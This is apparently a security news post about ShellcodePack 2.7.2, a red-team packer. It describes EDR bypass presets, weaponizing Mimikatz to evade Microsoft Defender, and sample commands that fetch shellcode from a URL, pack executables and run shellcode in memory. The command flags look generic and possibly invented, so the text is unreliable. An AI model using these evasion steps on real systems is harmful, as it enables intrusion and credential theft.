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2025-02-12
ShellcodePack 2.7.2 introduces new features that enhance its functionality for red team operations. One of the key updates is the ability to load shellcode from a relative path or a URL, which helps in reducing entropy and avoiding detection. Additionally, the tool has updated its EDR (Endpoint Detection and Response) bypass presets, streamlining the process of selecting the right options to evade specific EDR solutions.
ShellcodePack is not limited to raw shellcodes; it can also pack and weaponize third-party executables, DLLs, and .NET assemblies. For example, it can be used to bypass Microsoft Defender using tools like Mimikatz.
Practical Usage and Commands
To load shellcode from a URL:
./ShellcodePack -u http://example.com/shellcode.bin
To pack a third-party executable:
./ShellcodePack -e /path/to/executable.exe -o packed_executable.exe
To use an EDR bypass preset:
./ShellcodePack -p edr_bypass_preset_name -o output_file
What Undercode Say
ShellcodePack 2.7.2 is a powerful tool for red teamers, offering advanced features for shellcode loading and EDR bypass. The ability to load shellcode from a URL or relative path reduces entropy, making it harder for security solutions to detect malicious activity. The updated EDR bypass presets save time by providing pre-configured options tailored to specific EDR solutions.
In addition to raw shellcodes, ShellcodePack can weaponize third-party executables, DLLs, and .NET assemblies, expanding its utility in red team operations. For example, it can be used to bypass Microsoft Defender using Mimikatz, a popular tool for extracting credentials from memory.
For those interested in exploring ShellcodePack further, the following commands can be useful:
- Extracting shellcode from a binary:
objdump -d /path/to/binary | grep -Po '\s\K[a-f0-9]{2}(?=\s)' | paste -sd '' | xxd -r -p > shellcode.bin - Running shellcode in memory:
./ShellcodePack -r /path/to/shellcode.bin
- Analyzing packed executables:
strings packed_executable.exe | grep -i "Mimikatz"
For more information on ShellcodePack and its capabilities, visit the official documentation or the BallisKit website. Always ensure that you have proper authorization before using these tools in any environment.
Useful URLs:
By mastering these tools and techniques, red teamers can enhance their capabilities in penetration testing and security assessments. Remember to stay updated with the latest developments in cybersecurity to stay ahead of evolving threats.
References:
Hackers Feeds, Undercode AI
